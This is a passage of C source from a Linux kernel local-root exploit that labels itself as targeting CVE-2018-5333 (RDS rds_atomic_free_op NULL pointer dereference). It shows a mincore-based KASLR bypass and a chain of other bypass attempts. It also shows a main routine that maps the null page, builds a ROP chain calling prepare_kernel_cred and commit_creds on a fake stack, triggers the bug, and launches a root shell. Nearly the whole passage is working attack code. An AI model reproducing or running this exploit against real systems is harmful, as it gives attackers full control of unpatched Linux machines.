%lx\n", addr); return 0; } #endif // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * // https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 #if ENABLE_KASLR_BYPASS_MINCORE unsigned long get_kernel_addr_mincore() { unsigned char buf[getpagesize() / sizeof(unsigned char)]; unsigned long iterations = 20000000; unsigned long addr = 0; dprintf("[.] trying mincore info leak...\n"); if (strstr(kernels[kernel].kernel_version, "4.8.0-")) { dprintf("[-] target kernel does not permit mincore info leak\n"); return 0; } /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { dprintf("[-] mmap(): %m\n"); return 0; } int i; for (i = 0; i <= iterations; i++) { /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) { dprintf("[-] mincore(): %m\n"); return 0; } int n; for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space */ if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) { addr &= 0xffffffffff000000ul; if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap(): %m\n"); return addr; } } } if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap(): %m\n"); dprintf("[-] kernel base not found in mincore info leak\n"); return 0; } #endif // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; #if ENABLE_KASLR_BYPASS_KALLSYMS addr = get_kernel_addr_kallsyms(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_SYSLOG addr = get_kernel_addr_syslog(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_PERF addr = get_kernel_addr_perf(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_XEN_ENTRY addr = get_kernel_addr_xen_entry(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_MINCORE addr = get_kernel_addr_mincore(); if (addr) return addr; #endif dprintf("[-] KASLR bypass failed, kernel base not found\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static void shell() { if (getuid() == 0 && geteuid() == 0) { dprintf("[+] got root\n"); system(SHELL); } else { dprintf("[-] failed\n"); } exit(EXIT_FAILURE); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { dprintf("[-] fork(): %m\n"); exit(EXIT_FAILURE); } if (rv == 0) shell(); } int main(int argc, char *argv[]) { if (argc > 1) SHELL = argv[1]; dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n"); dprintf("[.] checking kernel version...\n"); detect_versions(); dprintf("[~] done, version looks good\n"); #if ENABLE_SYSTEM_CHECKS dprintf("[.] checking system...\n"); check_env(); dprintf("[~] done, looks good\n"); #endif dprintf("[.] mapping null address...\n"); map_null(); dprintf("[~] done, mapped null address\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel base address\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE); #endif unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds); unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred); unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi); unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax); unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp); unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs); unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq); dprintf("[.] commit_creds: %lx\n", commit_creds); dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred); dprintf("[.] mmapping fake stack...\n"); uint64_t page_size = getpagesize(); uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1); uint64_t stack_offset = xchg_esp % page_size; unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); if (fake_stack == MAP_FAILED) { dprintf("[-] mmap(fake_stack): %m\n"); exit(EXIT_FAILURE); } unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); if (temp_stack == MAP_FAILED) { dprintf("[-] mmap(temp_stack): %m\n"); exit(EXIT_FAILURE); } static unsigned long result = 0; unsigned long *data = (unsigned long *)0; data[1] = (uint64_t)&result; data[3] = xchg_esp; save_state(); debug_enable_sigsev_handler(); fake_stack = (unsigned long *)(stack_aligned + stack_offset); int i = 0; fake_stack[i++] = xor_rdi; fake_stack[i++] = prepare_kernel_cred; fake_stack[i++] = mov_rdi_rax; fake_stack[i++] = 0x12345678; fake_stack[i++] = 0x12345678; fake_stack[i++] = 0x12345678; fake_stack[i++] = commit_creds; fake_stack[i++] = swapgs; fake_stack[i++] = 0x12345678; fake_stack[i++] = iretq; fake_stack[i++] = (unsigned long)shell; fake_stack[i++] = user_cs; fake_stack[i++] = user_rflags; fake_stack[i++] = (unsigned long)(temp_stack + 0x500000); fake_stack[i++] = user_ss; dprintf("[~] done, fake stack mmapped\n"); dprintf("[.] executing payload %p...\n", (void*)&shell); trigger_bug(); return 0; }